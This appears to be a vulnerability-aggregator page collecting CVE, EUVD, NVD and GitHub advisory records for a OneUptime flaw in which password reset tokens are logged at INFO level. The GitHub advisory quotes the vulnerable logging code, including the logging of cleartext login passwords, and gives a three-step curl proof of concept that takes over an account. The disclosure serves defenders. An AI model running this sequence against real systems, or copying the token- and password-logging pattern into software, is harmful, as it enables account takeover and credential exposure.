OneUptime: Password Reset Token Logged at INFO Level
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-32598
PublishedOneUptime is a solution for monitoring and managing online services. Prior to 10.0.24, the password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user. This vulnerability is fixed in 10.0.24.
- Source published
- 12 Mar 2026 21:31:12 UTC
- Source modified
- 14 Mar 2026 03:45:17 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.9 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-11730
PublishedOneUptime is a solution for monitoring and managing online services. Prior to 10.0.24, the password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user. This vulnerability is fixed in 10.0.24.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 12, 2026, 9:31:12 PM
dateUpdated: Mar 14, 2026, 3:45:17 AM
- Source published
- Mar 12, 2026, 9:31:12 PM (timezone not stated)
- Source modified
- Mar 14, 2026, 3:45:17 AM (timezone not stated)
- Observed here
- 11 Nov 2026 08:32:19 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-32598
PublishedOneUptime is a solution for monitoring and managing online services. Prior to 10.0.24, the password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user. This vulnerability is fixed in 10.0.24.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-532
Original publisher date fields
published: 2026-03-13T19:55:09.670
lastModified: 2026-10-07T08:10:00.200
1 source CPE criteria · context only
- cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 13 Mar 2026 19:55:09 UTC
- Source modified
- 7 Oct 2026 08:10:00 UTC
- Observed here
- 25 Oct 2026 07:19:26 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
osv · GHSA-4524-cj9j-g4fj
Published### Summary The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user. ### Details **Vulnerable code — `App/FeatureSet/Identity/API/Authentication.ts` lines 370-371:** ```typescript logger.info("User forgot password: " + user.email?.toString()); logger.info("Reset Password URL: " + tokenVerifyUrl); ``` The `tokenVerifyUrl` is a complete URL like `https://app.oneuptime.com/accounts/reset-password/<plaintext-token>`. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems. **Additionally — login credentials logged at DEBUG level (line 909):** ```typescript logger.debug("Login request data: " + JSON.stringify(req.body, null, 2)); ``` The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting. No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked `resetPasswordToken` from the database via multi-tenant header bypass — this finding is different (token leaked via application logs). ### PoC **Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration) ```bash # Step 1 — Trigger forgot-password for target user curl -s -X POST http://TARGET:8080/api/identity/forgot-password \ -H 'Content-Type: application/json' \ -d '{"data": {"email": "[email protected]"}}' # Response: {} # Step 2 — Read application logs to extract the reset token docker compose logs app --tail 5 # Output: # app-1 | User forgot password: [email protected] # app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef # Step 3 — Use the extracted token to reset the victim's password curl -s -X POST http://TARGET:8080/api/identity/reset-password \ -H 'Content-Type: application/json' \ -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}' ``` **Tested and confirmed on 2026-03-12 against `oneuptime/app:release` (APP_VERSION=10.0.23).** Full password reset token `20771cc6-860a-4b9b-bb9c-09eff67de4ef` visible in INFO-level logs. **Attack surface for log access:** ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, `docker logs` / `kubectl logs`, shared log volumes, CDN/proxy access logs. ### Impact Any user's account can be taken over by anyone with read access to application logs: - **Account takeover:** Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens - **Exposure scale:** This logs EVERY password reset request — not a one-off, but systematic - **Cascading impact:** Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user - Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access
- Source published
- 13 Mar 2026 20:05:12 UTC
- Source modified
- 16 Mar 2026 17:16:45 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE